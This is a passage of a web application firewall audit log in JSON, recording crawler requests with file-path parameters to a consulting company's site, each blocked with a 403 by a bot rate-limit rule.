[severity \"DEBUG\"] [tag \"service_im360\"] [tag \"noshow\"]"],"action":{"intercepted":true,"phase":2,"message":"Operator EQ matched 1 at SESSION:cld_bot_block."},"stopwatch":{"p1":276,"p2":2517,"p3":0,"p4":0,"p5":446,"sr":128,"sw":0,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:11:04:16.117783 +0100","transaction_id":"abPhIDT0M4xfGsNBJdxAwwAAAUc","remote_address":"216.73.216.152","remote_port":58378,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /service/agriculture-products/?edit=%2Fhtdocs%2Fatito2.jmkconsulting-ci.com%2Fimages%2Fmarker2.png HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"216.73.216.152","X-Forwarded-Proto":"http","X-Request-Id":"fdd9f08dcf3a47ba8165652dd13c4517","X-L-Admin-Auth":"0","Accept":"*/*","User-Agent":"Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)","X-CDN-REAL-IP":"10.1.40.198","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","X-Cache-Group":"claudebot","X-Forwarded-For":"10.1.40.198","Via":"1.1 squid-proxy-5b5d847c96-lpx6s (squid/6.13), 1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"12096655"}},"response":{"protocol":"HTTP/1.1","status":403,"headers":{"Accept-Ranges":"bytes","X-Orig-Rid":"fdd9f08dcf3a47ba8165652dd13c4517","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Transfer-Encoding":"chunked","Content-Type":"text/html"}},"audit_data":{"messages":["Access denied with code 403 (phase 2). [file \"/usr/share/modsecurity_lws/011_i360_otherapps.conf\"] [line \"435\"] [id \"77350583\"] [msg \"IM360 WAF: Rate limit exceeded for Claudebot Crawler Bot||Count:0||Range:||MVN:SESSION:cld_bot_block||MV:1||RSV:7.71||T:APACHE||\"] [severity \"CRITICAL\"] [tag \"service_im360\"]","Operator EQ matched 1 at TX:trapped. [file \"/usr/share/modsecurity_lws/016_i360_monitor.conf\"] [line \"111\"] [id \"33329\"] [msg \"IM360 WAF: IPRec G:edit=/htdocs/atito2.jmkconsulting-ci.com/images/marker2.png& P: F:||RSV:7.71||T:APACHE||\"] [severity \"DEBUG\"] [tag \"service_im360\"] [tag \"noshow\"]"],"action":{"intercepted":true,"phase":2,"message":"Operator EQ matched 1 at SESSION:cld_bot_block."},"stopwatch":{"p1":287,"p2":2561,"p3":0,"p4":0,"p5":520,"sr":171,"sw":0,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:11:04:16.155635 +0100","transaction_id":"abPhIFH1YMuwIMtyvU1e5wAAAcw","remote_address":"216.73.216.152","remote_port":44586,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /service/agriculture-products/?edit=%2Fhtdocs%2Fatito2.jmkconsulting-ci.com%2Fimages%2Fmarker-single.png HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"216.73.216.152","X-Forwarded-Proto":"http","X-Request-Id":"3faabd9b22fb259b5a5a124deec583ba","X-L-Admin-Auth":"0","Accept":"*/*","User-Agent":"Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)","X-CDN-REAL-IP":"10.1.40.198","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","X-Cache-Group":"claudebot","X-Forwarded-For":"10.1.40.198","Via":"1.1 squid-proxy-5b5d847c96-lpx6s (squid/6.13), 1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"13862118"}},"response":{"protocol":"HTTP/1.1","status":403,"headers":{"Accept-Ranges":"bytes","X-Orig-Rid":"3faabd9b22fb259b5a5a124deec583ba","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Transfer-Encoding":"chunked","Content-Type":"text/html"}},"audit_data":{"messages":["Access denied with code 403 (phase 2). [file \"/usr/share/modsecurity_lws/011_i360_otherapps.conf\"] [line \"435\"] [id \"77350583\"] [msg \"IM360 WAF: Rate limit exceeded for Claudebot Crawler Bot||Count:0||Range:||MVN:SESSION:cld_bot_block||MV:1||RSV:7.71||T:APACHE||\"] [severity \"CRITICAL\"] [tag \"service_im360\"]","Operator EQ matched 1 at TX:trapped. [file \"/usr/share/modsecurity_lws/016_i360_monitor.conf\"] [line \"111\"] [id \"33329\"] [msg \"IM360 WAF: IPRec G:edit=/htdocs/atito2.jmkconsulting-ci.com/images/marker-single.png& P: F:||RSV:7.71||T:APACHE||\"] [severity \"DEBUG\"] [tag \"service_im360\"] [tag \"noshow\"]"],"action":{"intercepted":true,"phase":2,"message":"Operator EQ matched 1 at SESSION:cld_bot_block."},"stopwatch":{"p1":272,"p2":2089,"p3":0,"p4":0,"p5":386,"sr":111,"sw":0,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:11:04:16.190152 +0100","transaction_id":"abPhIFH1YMuwIMtyvU1e6AAAAcw","remote_address":"216.73.216.152","remote_port":44586,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /service/agriculture-products/?edit=%2Fhtdocs%2Fatito2.jmkconsulting-ci.com%2Fimages%2Flogo2.png HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"216.73.216.152","X-Forwarded-Proto":"http","X-Request-Id":"5fa1bf4661d23c6f552270443035a216","X-L-Admin-Auth":"0","Accept":"*/*","User-Agent":"Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)","X-CDN-REAL-IP":"10.1.40.198","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","X-Cache-Group":"claudebot","X-Forwarded-For":"10.1.40.198","Via":"1.1 squid-proxy-5b5d847c96-lpx6s (squid/6.13), 1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"10095770"}},"response":{"protocol":"HTTP/1.1","status":403,"headers":{"Accept-Ranges":"bytes","X-Orig-Rid":"5fa1bf4661d23c6f552270443035a216","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Transfer-Encoding":"chunked","Content-Type":"text/html"}},"audit_data":{"messages":["Access denied with code 403 (phase 2). [file \"/usr/share/modsecurity_lws/011_i360_otherapps.conf\"] [line \"435\"] [id \"77350583\"] [msg \"IM360 WAF: Rate limit exceeded for Claudebot Crawler Bot||Count:0||Range:||MVN:SESSION:cld_bot_block||MV:1||RSV:7.71||T:APACHE||\"] [severity \"CRITICAL\"] [tag \"service_im360\"]","Operator EQ matched 1 at TX:trapped. [file \"/usr/share/modsecurity_lws/016_i360_monitor.conf\"] [line \"111\"] [id \"33329\"] [msg \"IM360 WAF: IPRec G:edit=/htdocs/atito2.jmkconsulting-ci.com/images/logo2.png& P: F:||RSV:7.71||T:APACHE||\"] [severity \"DEBUG\"] [tag \"service_im360\"] [tag \"noshow\"]"],"action":{"intercepted":true,"phase":2,"message":"Operator EQ matched 1 at SESSION:cld_bot_block."},"stopwatch":{"p1":189,"p2":1798,"p3":0,"p4":0,"p5":333,"sr":134,"sw":0,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:11:04:16.196794 +0100","transaction_id":"abPhIPa6lumP0T36rfGIYAAAAFA","remote_address":"216.73.216.152","remote_port":44486,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /service/agriculture-products/?view=%2Fhtdocs%2Fatito2.jmkconsulting-ci.com%2Fimages%2Fpl2.png HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"216.73.216.152","X-Forwarded-Proto":"http","X-Request-Id":"3193bdc453eddeca4a777a1f3ae14260","X-L-Admin-Auth":"0","Accept":"*/*","User-Agent":"Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)","X-CDN-REAL-IP":"10.1.40.198","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","X-Cache-Group":"claudebot","X-Forwarded-For":"10.1.40.198","Via":"1.1 squid-proxy-5b5d847c96-lpx6s (squid/6.13), 1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"10095773"}},"response":{"protocol":"HTTP/1.1","status":403,"headers":{"Accept-Ranges":"bytes","X-Orig-Rid":"3193bdc453eddeca4a777a1f3ae14260","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Transfer-Encoding":"chunked","Content-Type":"text/html"}},"audit_data":{"messages":["Access denied with code 403 (phase 2). [file \"/usr/share/modsecurity_lws/011_i360_otherapps.conf\"] [line \"435\"] [id \"77350583\"] [msg \"IM360 WAF: Rate limit exceeded for Claudebot Crawler Bot||Count:0||Range:||MVN:SESSION:cld_bot_block||MV:1||RSV:7.71||T:APACHE||\"] [severity \"CRITICAL\"] [tag \"service_im360\"]","Operator EQ matched 1 at TX:trapped. [file \"/usr/share/modsecurity_lws/016_i360_monitor.conf\"] [line \"111\"] [id \"33329\"] [msg \"IM360 WAF: IPRec G:view=/htdocs/atito2.jmkconsulting-ci.com/images/pl2.png& P: F:||RSV:7.71||T:APACHE||\"] [severity \"DEBUG\"] [tag \"service_im360\"] [tag \"noshow\"]"],"action":{"intercepted":true,"phase":2,"message":"Operator EQ matched 1 at SESSION:cld_bot_block."},"stopwatch":{"p1":260,"p2":2124,"p3":0,"p4":0,"p5":364,"sr":121,"sw":0,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:11:04:16.211111 +0100","transaction_id":"abPhIPa6lumP0T36rfGIYQAAAFA","remote_address":"216.73.216.152","remote_port":44486,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /service/agriculture-products/?edit=%2Fhtdocs%2Fatito2.jmkconsulting-ci.com%2Fimages%2Fpl1.png HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"216.73.216.152","X-Forwarded-Proto":"http","X-Request-Id":"37f026cfd0273c92498c8d476275d78a","X-L-Admin-Auth":"0","Accept":"*/*","User-Agent":"Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)","X-CDN-REAL-IP":"10.1.40.198","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","X-Cache-Group":"claudebot","X-Forwarded-For":"10.1.40.198","Via":"1.1 squid-proxy-5b5d847c96-lpx6s (squid/6.13), 1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"11015006"}},"response":{"protocol":"HTTP/1.1","status":403,"headers":{"Accept-Ranges":"bytes","X-Orig-Rid":"37f026cfd0273c92498c8d476275d78a","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Transfer-Encoding":"chunked","Content-Type":"text/html"}},"audit_data":{"messages":["Access denied with code 403 (phase 2). [file \"/usr/share/modsecurity_lws/011_i360_otherapps.conf\"] [line \"435\"] [id \"77350583\"] [msg \"IM360 WAF: Rate limit exceeded for Claudebot Crawler Bot||Count:0||Range:||MVN:SESSION:cld_bot_block||MV:1||RSV:7.71||T:APACHE||\"] [severity \"CRITICAL\"] [tag \"service_im360\"]","Operator EQ matched 1 at TX:trapped. [file \"/usr/share/modsecurity_lws/016_i360_monitor.conf\"] [line \"111\"] [id \"33329\"] [msg \"IM360 WAF: IPRec G:edit=/htdocs/atito2.jmkconsulting-ci.com/images/pl1.png& P: F:||RSV:7.71||T:APACHE||\"] [severity \"DEBUG\"] [tag \"service_im360\"] [tag \"noshow\"]"],"action":{"intercepted":true,"phase":2,"message":"Operator EQ matched 1 at SESSION:cld_bot_block."},"stopwatch":{"p1":196,"p2":2022,"p3":0,"p4":0,"p5":384,"sr":111,"sw":0,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:11:04:16.236804 +0100","transaction_id":"abPhIPa6lumP0T36rfGIYwAAAFA","remote_address":"216.73.216.152","remote_port":44486,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /service/agriculture-products/?view=%2Fhtdocs%2Ftemplate_Agrotek_jmk%2Fsource%2Ft%C3%A9l%C3%A9charger.jpg HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"216.73.216.152","X-Forwarded-Proto":"http","X-Request-Id":"89b01b786d64bfae3f62729e4d7b8350","X-L-Admin-Auth":"0","Accept":"*/*","User-Agent":"Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)","X-CDN-REAL-IP":"10.1.40.198","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","X-Cache-Group":"claudebot","X-Forwarded-For":"10.1.40.198","Via":"1.1 squid-proxy-5b5d847c96-lpx6s (squid/6.13), 1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"11015009"}},"response":{"protocol":"HTTP/1.1","status":403,"headers":{"Accept-Ranges":"bytes","X-Orig-Rid":"89b01b786d64bfae3f62729e4d7b8350","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Transfer-Encoding":"chunked","Content-Type":"text/html"}},"audit_data":{"messages":["Access denied with code 403 (phase 2). [file \"/usr/share/modsecurity_lws/011_i360_otherapps.conf\"] [line \"435\"] [id \"77350583\"] [msg \"IM360 WAF: Rate limit exceeded for Claudebot Crawler Bot||Count:0||Range:||MVN:SESSION:cld_bot_block||MV:1||RSV:7.71||T:APACHE||\"] [severity \"CRITICAL\"] [tag \"service_im360\"]","Operator EQ matched 1 at TX:trapped. [file \"/usr/share/modsecurity_lws/016_i360_monitor.conf\"] [line \"111\"] [id \"33329\"] [msg \"IM360 WAF: IPRec G:view=/htdocs/template_Agrotek_jmk/source/t\\xc3\\xa9l\\xc3\\xa9charger.jpg& P: F:||RSV:7.71||T:APACHE||\"] [severity \"DEBUG\"] [tag \"service_im360\"] [tag \"noshow\"]"],"action":{"intercepted":true,"phase":2,"message":"Operator EQ matched 1 at SESSION:cld_bot_block."},"stopwatch":{"p1":182,"p2":1764,"p3":0,"p4":0,"p5":343,"sr":121,"sw":0,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:11:04:16.264585 +0100","transaction_id":"abPhIFH1YMuwIMtyvU1e6gAAAcw","remote_address":"216.73.216.152","remote_port":44586,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /service/agriculture-products/?rename=%2Fhtdocs%2Fatito2.jmkconsulting-ci.com%2Fimages%2Ffavicon.ico HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"216.73.216.152","X-Forwarded-Proto":"http","X-Request-Id":"2973191b4ebf9ace76f1260bae273666","X-L-Admin-Auth":"0","Accept":"*/*","User-Agent":"Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)","X-CDN-REAL-IP":"10.1.40.198","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","X-Cache-Group":"claudebot","X-Forwarded-For":"10.1.40.198","Via":"1.1 squid-proxy-5b5d847c96-lpx6s (squid/6.13), 1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"10095779"}},"response":{"protocol":"HTTP/1.1","status":403,"headers":{"Accept-Ranges":"bytes","X-Orig-Rid":"2973191b4ebf9ace76f1260bae273666","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Transfer-Encoding":"chunked","Content-Type":"text/html"}},"audit_data":{"messages":["Access denied with code 403 (phase 2). [file \"/usr/share/modsecurity_lws/011_i360_otherapps.conf\"] [line \"435\"] [id \"77350583\"] [msg \"IM360 WAF: Rate limit exceeded for Claudebot Crawler Bot||Count:0||Range:||MVN:SESSION:cld_bot_block||MV:1||RSV:7.71||T:APACHE||\"] [severity \"CRITICAL\"] [tag \"service_im360\"]","Operator EQ matched 1 at TX:trapped. [file \"/usr/share/modsecurity_lws/016_i360_monitor.conf\"] [line \"111\"] [id \"33329\"] [msg \"IM360 WAF: IPRec G:rename=/htdocs/atito2.jmkconsulting-ci.com/images/favicon.ico& P: F:||RSV:7.71||T:APACHE||\"] [severity \"DEBUG\"] [tag \"service_im360\"] [tag \"noshow\"]"],"action":{"intercepted":true,"phase":2,"message":"Operator EQ matched 1 at SESSION:cld_bot_block."},"stopwatch":{"p1":195,"p2":2056,"p3":0,"p4":0,"p5":456,"sr":108,"sw":0,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:11:04:16.313689 +0100","transaction_id":"abPhIFH1YMuwIMtyvU1e6wAAAcs","remote_address":"216.73.216.152","remote_port":37250,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /service/agriculture-products/?rename=%2Fhtdocs%2Ftemplate_Agrotek_jmk%2Fsource%2Fcacao-rapport-enquete.jpg HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"216.73.216.152","X-Forwarded-Proto":"http","X-Request-Id":"6431f62ca6dd63b760a5d988ad1aed10","X-L-Admin-Auth":"0","Accept":"*/*","User-Agent":"Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)","X-CDN-REAL-IP":"10.1.40.198","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","X-Cache-Group":"claudebot","X-Forwarded-For":"10.1.40.198","Via":"1.1 squid-proxy-5b5d847c96-lpx6s (squid/6.13), 1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"2070916"}},"response":{"protocol":"HTTP/1.1","status":403,"headers":{"Accept-Ranges":"bytes","X-Orig-Rid":"6431f62ca6dd63b760a5d988ad1aed10","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Transfer-Encoding":"chunked","Content-Type":"text/html"}},"audit_data":{"messages":["Access denied with code 403 (phase 2). [file \"/usr/share/modsecurity_lws/011_i360_otherapps.conf\"] [line \"435\"] [id \"77350583\"] [msg \"IM360 WAF: Rate limit exceeded for Claudebot Crawler Bot||Count:0||Range:||MVN:SESSION:cld_bot_block||MV:1||RSV:7.71||T:APACHE||\"] [severity \"CRITICAL\"] [tag \"service_im360\"]","Operator EQ matched 1 at TX:trapped. [file \"/usr/share/modsecurity_lws/016_i360_monitor.conf\"] [line \"111\"] [id \"33329\"] [msg \"IM360 WAF: IPRec G:rename=/htdocs/template_Agrotek_jmk/source/cacao-rapport-enquete.jpg& P: F:||RSV:7.71||T:APACHE||\"] [severity \"DEBUG\"] [tag \"service_im360\"] [tag \"noshow\"]"],"action":{"intercepted":true,"phase":2,"message":"Operator EQ matched 1 at SESSION:cld_bot_block."},"stopwatch":{"p1":195,"p2":2033,"p3":0,"p4":0,"p5":481,"sr":110,"sw":0,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:11:04:16.378081 +0100","transaction_id":"abPhIFH1YMuwIMtyvU1e7AAAAcs","remote_address":"216.73.216.152","remote_port":37250,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /service/agriculture-products/?edit=%2Fhtdocs%2Ftemplate_Agrotek_jmk%2Fsource%2Ft%C3%A9l%C3%A9charger.jpg HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"216.73.216.152","X-Forwarded-Proto":"http","X-Request-Id":"8adf5920827f872162bd4d8191313449","X-L-Admin-Auth":"0","Accept":"*/*","User-Agent":"Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)","X-CDN-REAL-IP":"10.1.40.198","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","X-Cache-Group":"claudebot","X-Forwarded-For":"10.1.40.198","Via":"1.1 squid-proxy-5b5d847c96-lpx6s (squid/6.13), 1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"10095782"}},"response":{"protocol":"HTTP/1.1","status":403,"headers":{"Accept-Ranges":"bytes","X-Orig-Rid":"8adf5920827f872162bd4d8191313449","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Transfer-Encoding":"chunked","Content-Type":"text/html"}},"audit_data":{"messages":["Access denied with code 403 (phase 2). [file \"/usr/share/modsecurity_lws/011_i360_otherapps.conf\"] [line \"435\"] [id \"77350583\"] [msg \"IM360 WAF: Rate limit exceeded for Claudebot Crawler Bot||Count:0||Range:||MVN:SESSION:cld_bot_block||MV:1||RSV:7.71||T:APACHE||\"] [severity \"CRITICAL\"] [tag \"service_im360\"]","Operator EQ matched 1 at TX:trapped. [file \"/usr/share/modsecurity_lws/016_i360_monitor.conf\"] [line \"111\"] [id \"33329\"] [msg \"IM360 WAF: IPRec G:edit=/htdocs/template_Agrotek_jmk/source/t\\xc3\\xa9l\\xc3\\xa9charger.jpg& P: F:||RSV:7.71||T:APACHE||\"] [severity \"DEBUG\"] [tag \"service_im360\"] [tag \"noshow\"]"],"action":{"intercepted":true,"phase":2,"message":"Operator EQ matched 1 at SESSION:cld_bot_block."},"stopwatch":{"p1":179,"p2":1730,"p3":0,"p4":0,"p5":326,"sr":99,"sw":0,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:11:04:16.471634 +0100","transaction_id":"abPhIFH1YMuwIMtyvU1e7gAAAcw","remote_address":"216.73.216.152","remote_port":44586,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /service/agriculture-products/?rename=%2Fhtdocs%2Ftemplate_Agrotek_jmk%2Fsource%2F88c1ead09bdc667aebc18a9665b2006e1d8cff9a.jpg HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"216.73.216.152","X-Forwarded-Proto":"http","X-Request-Id":"778052460c5f78bba5477a2654fc45b3","X-L-Admin-Auth":"0","Accept":"*/*","User-Agent":"Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)","X-CDN-REAL-IP":"10.1.40.198","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","X-Cache-Group":"claudebot","X-Forwarded-For":"10.1.40.198","Via":"1.1 squid-proxy-5b5d847c96-lpx6s (squid/6.13), 1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"2070921"}},"response":{"protocol":"HTTP/1.1","status":403,"headers":{"Accept-Ranges":"bytes","X-Orig-Rid":"778052460c5f78bba5477a2654fc45b3","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Transfer-Encoding":"chunked","Content-Type":"text/html"}},"audit_data":{"messages":["Access denied with code 403 (phase 2). [file \"/usr/share/modsecurity_lws/011_i360_otherapps.conf\"] [line \"435\"] [id \"77350583\"] [msg \"IM360 WAF: Rate limit exceeded for Claudebot Crawler Bot||Count:0||Range:||MVN:SESSION:cld_bot_block||MV:1||RSV:7.71||T:APACHE||\"] [severity \"CRITICAL\"] [tag \"service_im360\"]","Operator EQ matched 1 at TX:trapped. [file \"/usr/share/modsecurity_lws/016_i360_monitor.conf\"] [line \"111\"] [id \"33329\"] [msg \"IM360 WAF: IPRec G:rename=/htdocs/template_Agrotek_jmk/source/88c1ead09bdc667aebc18a9665b2006e1d8cff9a.jpg& P: F:||RSV:7.71||T:APACHE||\"] [severity \"DEBUG\"] [tag \"service_im360\"] [tag \"noshow\"]"],"action":{"intercepted":true,"phase":2,"message":"Operator EQ matched 1 at SESSION:cld_bot_block."},"stopwatch":{"p1":277,"p2":2449,"p3":0,"p4":0,"p5":409,"sr":123,"sw":0,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:11:04:16.560592 +0100","transaction_id":"abPhIFH1YMuwIMtyvU1e7wAAAcs","remote_address":"216.73.216.152","remote_port":37250,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /service/agriculture-products/?view=%2Fhtdocs%2Fatito2.jmkconsulting-ci.com%2Ffichiers%2Fthiery.jpg HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"216.73.216.152","X-Forwarded-Proto":"http","X-Request-Id":"2eab03a8ddd48edbc6b14c43088e9a9f","X-L-Admin-Auth":"0","Accept":"*/*","User-Agent":"Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)","X-CDN-REAL-IP":"10.1.40.198","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","X-Cache-Group":"claudebot","X-Forwarded-For":"10.1.40.198","Via":"1.1 squid-proxy-5b5d847c96-lpx6s (squid/6.13), 1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"10095788"}},"response":{"protocol":"HTTP/1.1","status":403,"headers":{"Accept-Ranges":"bytes","X-Orig-Rid":"2eab03a8ddd48edbc6b14c43088e9a9f","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Transfer-Encoding":"chunked","Content-Type":"text/html"}},"audit_data":{"messages":["Access denied with code 403 (phase 2). [file \"/usr/share/modsecurity_lws/011_i360_otherapps.conf\"] [line \"435\"] [id \"77350583\"] [msg \"IM360 WAF: Rate limit exceeded for Claudebot Crawler Bot||Count:0||Range:||MVN:SESSION:cld_bot_block||MV:1||RSV:7.71||T:APACHE||\"] [severity \"CRITICAL\"] [tag \"service_im360\"]","Operator EQ matched 1 at TX:trapped. [file \"/usr/share/modsecurity_lws/016_i360_monitor.conf\"] [line \"111\"] [id \"33329\"] [msg \"IM360 WAF: IPRec G:view=/htdocs/atito2.jmkconsulting-ci.com/fichiers/thiery.jpg& P: F:||RSV:7.71||T:APACHE||\"] [severity \"DEBUG\"] [tag \"service_im360\"] [tag \"noshow\"]"],"action":{"intercepted":true,"phase":2,"message":"Operator EQ matched 1 at SESSION:cld_bot_block."},"stopwatch":{"p1":175,"p2":1620,"p3":0,"p4":0,"p5":347,"sr":95,"sw":0,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:11:04:16.651589 +0100","transaction_id":"abPhIFH1YMuwIMtyvU1e8AAAAco","remote_address":"216.73.216.152","remote_port":55172,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /service/agriculture-products/?edit=%2Fhtdocs%2Fatito2.jmkconsulting-ci.com%2Fimages%2Fpl2.png HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"216.73.216.152","X-Forwarded-Proto":"http","X-Request-Id":"a96021d9be167e2eeed371639ea25721","X-L-Admin-Auth":"0","Accept":"*/*","User-Agent":"Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)","X-CDN-REAL-IP":"10.1.40.198","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","X-Cache-Group":"claudebot","X-Forwarded-For":"10.1.40.198","Via":"1.1 squid-proxy-5b5d847c96-lpx6s (squid/6.13), 1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"8425103"}},"response":{"protocol":"HTTP/1.1","status":403,"headers":{"Accept-Ranges":"bytes","X-Orig-Rid":"a96021d9be167e2eeed371639ea25721","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Transfer-Encoding":"chunked","Content-Type":"text/html"}},"audit_data":{"messages":["Access denied with code 403 (phase 2). [file \"/usr/share/modsecurity_lws/011_i360_otherapps.conf\"] [line \"435\"] [id \"77350583\"] [msg \"IM360 WAF: Rate limit exceeded for Claudebot Crawler Bot||Count:0||Range:||MVN:SESSION:cld_bot_block||MV:1||RSV:7.71||T:APACHE||\"] [severity \"CRITICAL\"] [tag \"service_im360\"]","Operator EQ matched 1 at TX:trapped. [file \"/usr/share/modsecurity_lws/016_i360_monitor.conf\"] [line \"111\"] [id \"33329\"] [msg \"IM360 WAF: IPRec 